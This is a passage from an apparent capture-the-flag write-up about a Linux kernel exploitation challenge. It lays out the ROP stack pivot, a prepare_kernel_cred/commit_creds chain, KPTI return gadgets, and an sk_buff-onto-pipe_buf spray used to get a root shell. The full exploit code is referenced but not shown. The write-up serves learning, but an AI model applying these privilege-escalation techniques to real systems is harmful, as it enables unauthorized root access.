somewhere further down the stack where we have more space. Luckily, we should have enough space to do this, and weโll do
the stack pivot at +0x18
. To get past +0x10
, we can do a small trick: just pop rdi
!
So our first stack will look like this:
+0x00: ret ;
+0x08: pop rdi ; ret ;
+0x10: <fake vtable>
+0x18: pop rsp ; ret ;
+0x20: <pipe_buf + 0x50>
Now our second stack will point to +0x50
. Here we have lots of space, so letโs start our final ROP chain!
We want to finally call this:
Due to recent changes in kernel, itโs no longer prepare_kernel_cred(0)
as seen in older writeups.
Then because of KPTI, we need to jump to our shell function safely. In this version of kernel, the usual gadget
swapgs_restore_regs_and_return_to_usermode+22
is slightly different, so I canโt really use it. So we need swapgs ; ret
and iretq ; ret
gadgets. ROPgadget couldnโt locate these, but I used objdump -d vmlinux
to find them.
Also, I donโt actually know how to return properly to userland from iretq
cos I keep getting SIGSEGV (after
successfully pivoting back to userland). But another way is simply to register a SIGSEGV handler in our program and set
it to get_shell
.
One more part: we need to actually save the state of the program even before doing our ROP, so at the start of the
exploit we add this (and also define our get_shell
function):
Lastly, our second stack:
+0x50: pop rdi ; ret ;
+0x58: <init_task>
+0x60: prepare_kernel_cred
+0x68: commit_creds
+0x70: swapgs ; ret ;
+0x78: iretq ; ret ;
+0x80: get_shell
+0x88: user_cs
+0x90: user_rflags
+0x98: user_sp
+0xa0: user_ss
After constructing this, we spray sk_buff
onto pipe_buf
, release all pipe_buf
and should get root!
This is my complete final exploit.
I compiled it with musl-gcc -static -o exploit exploit.c
.
Then, I used the following script to send the binary to remote:
Note: I ran it with python3 solve.py NOTERM
because the VM would output annoying carriage returns that cleared the
output.
I really loved solving this challenge and learnt a lot from it. Kernel pwn has a much larger scope than regular pwn
because of the sheer number of structs we can now exploit, and the complexity of our final target not just being
system("/bin/sh")
thus requiring a ROP chain and stack pivot. And because of the larger scope, I think itโll be very
useful to have a collection of kernel structs, including their layout, kmalloc
cache, initialization, usage and
freeing, and how they can interact and synergize with other structs (like pipe_buf
and sk_buff
!). I found this to be
the main obstacle in solving the challenge during the CTF, because of my lack of knowledge of and experience with kernel
pwn. If I have the time and expertise, I may start to compile this and post it on my blog as well.